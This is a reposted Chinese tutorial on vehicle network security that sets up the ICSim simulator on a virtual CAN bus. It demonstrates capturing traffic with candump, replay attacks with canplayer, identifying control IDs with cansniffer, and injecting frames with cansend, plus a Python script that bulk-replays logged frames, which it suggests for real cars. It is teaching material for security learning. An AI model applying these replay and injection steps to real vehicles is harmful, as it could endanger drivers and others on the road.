车联网攻防

发布时间:2024-02-04  

01


前言


车联网(Internet of Vehicles,IoV)是指将车辆与互联网和其他车辆进行连接和交互的技术和概念。它是物联网(Internet of Things,IoT)在汽车领域的应用扩展。


车联网的网络安全风险涉及多种常见的攻击方式。以下是一些常见的车联网网络安全攻击方式:


1.远程入侵:黑客可以通过远程入侵攻击车辆的电子控制单元(ECU),如发动机控制单元(ECU)或车载娱乐系统。他们可能利用软件漏洞或弱密码来获取对车辆系统的未经授权访问。


2.车载网络攻击:车辆内部的网络架构可能存在漏洞,黑客可以通过攻击车辆的CAN总线或其他通信协议来干扰车辆的正常运行,如篡改传感器数据、修改控制命令等。


3.远程控制:黑客可以通过滥用车辆远程连接功能,例如车辆的远程启动或远程锁定等,来控制车辆。这可能导致危险的情况,如非法启动车辆或锁定车辆的制动系统。


4.车载应用程序攻击:车辆中的应用程序和软件可能存在漏洞,黑客可以利用这些漏洞来获取对车辆系统的访问权限,例如通过远程攻击车载娱乐系统获取对车辆控制的访问权限。


5.车辆追踪与定位攻击:黑客可以通过攻击车辆的定位系统或车辆跟踪系统来获取车辆的位置信息,从而侵犯车主的隐私或进行非法活动。


6.车辆数据窃取:黑客可以通过攻击车辆的数据存储系统或无线通信,获取车辆的敏感数据,如驾驶习惯、位置历史等,进而进行个人身份盗窃或其他恶意行为。


7.物理攻击:黑客可以通过物理方式对车辆进行攻击,例如直接访问车辆的电子控制单元(ECU)来篡改或破坏车辆系统。


汽车攻防这方面的入局成本是非常之高,毕竟把自己车黑了后厂商八成可以不保修了,出问题了也无处伸冤。


好在 ICSim 这个开源项目,让大家有了入手点,这篇文章主要就是讲这个开源项目,至于汽车相关的软硬件等相关知识点,大家就自己学习了。


02


ICSim 安装及设置


1、从github拉去到本地


~# git clone https://github.com/zombieCraig/ICSim


2、安装环境依赖


~# sudo apt-get install libsdl2-dev libsdl2-image-dev can-utils


3、安装ICSim


~# cd ICSim
~/ICSim# make


4、准备CAN环境


ICSim 目录,有一个名为 setup_vcan.sh 的 shell 脚本。


~/ICSim$ ls
art       controls.c  data   icsim.c  lib.c  lib.o    Makefile   setup_vcan.sh
controls  controls.o  icsim  icsim.o  lib.h  LICENSE  README.md


使用cat命令查看其内容。


~/ICSim# cat setup_vcan.sh
sudo modprobe can
sudo modprobe vcan
sudo ip link add dev vcan0 type vcan
sudo ip link set up vcan0


modprobe 指令加载 can 和 vcan 模块,最后两行将创建 vcan0 接口以便模拟汽车网络。


运行 setup_vcan.sh 命令来设置一个虚拟的 CAN 接口:


~/ICSim# ./setup_vcan.sh


使用命令 ifconfig vcan0 验证 vcan0 接口,如果 vcan0 配置成功将显示:


~/ICSim# ifconfig vcan0
vcan0     Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00  
         UP RUNNING NOARP  MTU:72  Metric:1
         RX packets:0 errors:0 dropped:0 overruns:0 frame:0
         TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
         collisions:0 txqueuelen:1000
         RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)


03


运行ICSim


要想ICSim运行起来,必须需要一个仪表盘和一个控制器,其作用是模拟汽车加速、刹车、转向等,要想达到这些功能至少需要3个终端。


终端1:启动虚拟的 CAN 接口


~/ICSim# ./setup_vcan.sh


该终端启动后可关闭。


终端2:运行仪表盘


~/ICSim# ./icsim vcan0
Using CAN interface vcan0


运行该指令后将会有个 IC Simulator 窗口跑起来。


终端3:运行控制器


~/ICSim# ./controls vcan0
Warning: No joysticks connected


运行该指令后将会有个 CANBus Control Panel 窗口跑起来。


04


控车指令


05


ICSim 操控


1、candump 转储 CAN 报文


candump 是 can-utils 工具包中的一个命令,用于监听和显示CAN总线上的报文。

以下是 candump 命令的基本语法:


candump


◆: 指定要监听的CAN接口,例如 vcan0 或 can0。


新开终端,输入 candump vacn0,截取部分指令:


~# candump vcan0
 vcan0  244   [5]  00 00 00 01 3D
 vcan0  166   [4]  D0 32 00 18
 vcan0  158   [8]  00 00 00 00 00 00 00 19
 vcan0  161   [8]  00 00 05 50 01 08 00 1C
 vcan0  191   [7]  01 00 90 A1 41 00 03
 vcan0  133   [5]  00 00 00 00 A7
 vcan0  136   [8]  00 02 00 00 00 00 00 2A
 vcan0  13A   [8]  00 00 00 00 00 00 00 28
 vcan0  13F   [8]  00 00 00 05 00 00 00 2E
 vcan0  164   [8]  00 00 C0 1A A8 00 00 04
 vcan0  17C   [8]  00 00 00 00 10 00 00 21


◆vcan0: 这是 CAN 接口的名称,表示数据是从 vcan0 接口接收的。CAN 接口是用于连接 CAN 总线的虚拟接口。


◆244, 166, 158, ...: 这些是 CAN 帧的标识符(ID),表示不同的 CAN 消息。


◆[5], [4], [8], ...: 这些是CAN帧的数据长度,表示CAN消息数据的字节数,这个不能超过 8 个字节。


◆00 00 00 01 3D, D0 32 00 18, ...: 这些是CAN帧的数据内容,以十六进制表示。每个字节对应两个十六进制数字。


通过 candump 命令,可以监视 CAN 总线上的 CAN 消息,并查看其标识符、数据长度和数据内容。这对于调试和监控 CAN 总线通信非常有用。


candump 还可以转储 CAN 报文内容,如果想进行重放攻击,这是必不可少的操作,CAN 报文的转储可以使用 -l 参数启动:


# candump vcan0 -l
Disabled standard output while logging.

Enabling Logfile 'candump-2023-09-16_013511.log'


会在当前目录下生成 candump-2023-09-16_013511.log 的日志文件。


2、canplayer 重放攻击


canplayer 是 can-utils 工具包中的一个命令,用于回放预先记录的 CAN 数据文件,以便模拟 CAN 总线上的报文传输。


以下是 canplayer 命令的基本语法:


canplayer


◆: 指定要回放数据的CAN接口,例如 vcan0 或 can0。


◆: 指定包含 CAN 数据记录的日志文件。


亦或者可以直接使用 -I 参数来指定接受输入文件:


canplayer -I


例如,在上述 candump 下来的 log 日志中我进行了左右转向灯开启的操作,要使用 canplayer 命令将预先记录的 CAN 数据文件 log.txt 回放到 vcan0 接口上,可以使用以下命令:


~# canplayer -I candump-2023-09-16_013511.log


经实验成功重放了报文,车辆进行了左右灯打开和关闭。


3、cansniffer 嗅探


通过 canplayer 可以重放 CAN 报文,但要想确定是哪个 canid 进行转向控制,或其余操作时,这时候就比较困难,二分法一次一次尝试是比较快的方法。


还有个比较快速的方法,寻找特点的 canid 及can 报文数据,即使用 cansniffer。


cansniffer 命令允许您监听 CAN 总线上的 CAN 消息,并将其显示在终端上。它可以帮助您实时查看 CAN 总线上的通信活动,包括 CAN 帧的标识符、数据长度和数据内容。


以下是 cansniffer 命令的基本语法:


cansniffer


◆: 指定要使用的CAN接口,例如 vcan0 或 can0。


cansniffer 的 -c 参数可以通过颜色高亮突出变化的字节,当需要判断执行某些操作是否会导致 CAN 数据变化时使用。


cansniffer -c vcan0


执行上述命令后,cansniffer 将开始监听 vcan0 接口上的 CAN 消息,并将产生变化的数据以红色高亮的方式显示在终端上。


cansniffer 可以通过 canid 进行过滤,当需要只显示某一个特定 canid 的帧时,只需在嗅探的过程中,按减号(-)然后输入 000000,再按 Enter 键清除所有的帧,按加号(+)然后输入 canid ,再按 Enter 键便只显示特定 canid 的帧。


4、cansend 主动调用


cansend 是 can-utils 工具包中的一个命令,用于向 CAN 总线发送 CAN 消息。它允许您指定 canid 的标识符、数据长度和数据内容,以将消息发送到CAN总线。


以下是 cansend 命令的基本语法:


cansend#


◆: 指定要使用的CAN接口,例如 vcan0 或 can0。


◆: CAN帧的标识符(ID),用于唯一标识一个 CAN 消息。


◆: CAN帧的数据内容,以十六进制表示。


例如,要发送一个标识符为123,数据内容为 01 02 03 04 的 CAN 消息到 vcan0 接口,可以使用以下命令:


cansend vcan0 123#01020304


在上述嗅探过程中,已经确认控制车辆左右转向灯的 canid 为 188 对应的 CAN 报文中 01 代表左转向灯亮,02 代表右转向灯亮,进行实操:


cansend vcan0 188#0100000000000000
cansend vcan0 188#0200000000000000


可以在对应的 IC Simulator 窗口中看到指示灯亮起。


有时候,在实车环境中,无法精确定位 canid ,可以采用脚本读取 candump 下来的数据源,批量发送 can 报文:


import subprocess
import time

def execute_commands(command):
   subprocess.run(command, shell=True)  # 主动调用          

def get_can_cmd():
   can_cmd_list = []  # 创建一个空列表用于存储每一行数据
   with open('/home/xingjian/candump-2023-09-17_011314.log', 'r') as file:
       for line in file:
           line = 'cansend' + line.strip().split(r')')[-1]  # 去除行末尾的换行符和空白字符
           can_cmd_list.append(line)  # 将每一行添加到列表中
   return can_cmd_list


can_cmd_list = get_can_cmd()
for cmd in can_cmd_list:
   print('正在发送指令为:', cmd)
   execute_commands(cmd)
   time.sleep(0.1)







文章来源于:电子工程世界    原文链接
本站所有转载文章系出于传递更多信息之目的,且明确注明来源,不希望被转载的媒体或个人可与我们联系,我们将立即进行删除处理。

我们与500+贴片厂合作,完美满足客户的定制需求。为品牌提供定制化的推广方案、专属产品特色页,多渠道推广,SEM/SEO精准营销以及与公众号的联合推广...详细>>

利用葫芦芯平台的卓越技术服务和新产品推广能力,原厂代理能轻松打入消费物联网(IOT)、信息与通信(ICT)、汽车及新能源汽车、工业自动化及工业物联网、装备及功率电子...详细>>

充分利用其强大的电子元器件采购流量,创新性地为这些物料提供了一个全新的窗口。我们的高效数字营销技术,不仅可以助你轻松识别与连接到需求方,更能够极大地提高“闲置物料”的处理能力,通过葫芦芯平台...详细>>

我们的目标很明确:构建一个全方位的半导体产业生态系统。成为一家全球领先的半导体互联网生态公司。目前,我们已成功打造了智能汽车、智能家居、大健康医疗、机器人和材料等五大生态领域。更为重要的是...详细>>

我们深知加工与定制类服务商的价值和重要性,因此,我们倾力为您提供最顶尖的营销资源。在我们的平台上,您可以直接接触到100万的研发工程师和采购工程师,以及10万的活跃客户群体...详细>>

凭借我们强大的专业流量和尖端的互联网数字营销技术,我们承诺为原厂提供免费的产品资料推广服务。无论是最新的资讯、技术动态还是创新产品,都可以通过我们的平台迅速传达给目标客户...详细>>

我们不止于将线索转化为潜在客户。葫芦芯平台致力于形成业务闭环,从引流、宣传到最终销售,全程跟进,确保每一个potential lead都得到妥善处理,从而大幅提高转化率。不仅如此...详细>>